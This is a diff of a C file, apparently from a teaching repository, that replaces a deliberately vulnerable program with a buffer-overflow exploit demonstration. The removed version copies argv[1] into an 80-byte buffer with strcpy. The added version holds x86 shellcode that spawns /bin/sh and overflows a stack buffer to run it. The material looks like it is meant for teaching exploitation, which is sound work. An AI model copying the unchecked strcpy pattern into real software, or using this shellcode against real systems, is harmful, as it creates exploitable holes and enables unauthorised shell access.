--- a/progs/C3.c Thu Oct 09 23:12:10 2014 +0100
+++ b/progs/C3.c Fri Oct 10 11:26:23 2014 +0100
@@ -1,19 +1,20 @@
-#include<stdio.h>
-#include<string.h>
-
-// simple program used for a bufferflow attack
-//
-// for installation notes see C0.c
-//
-// can be called with
-//
-// ./C3 `./args3`
-
-main(int argc, char **argv)
-{
- char buffer[80];
-
- strcpy(buffer, argv[1]);
-
- return 1;
-}
+char shellcode[] =
+ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
+ "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
+ "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"
+ "\xff\xff/bin/sh";
+char large_string[128];
+
+void main() {
+ char buffer[96];
+ int i;
+ long *long_ptr = (long *) large_string;
+
+ for (i = 0; i < 32; i++)
+ *(long_ptr + i) = (int) buffer;
+
+ for (i = 0; i < strlen(shellcode); i++)
+ large_string[i] = shellcode[i];
+
+ strcpy(buffer,large_string);
+}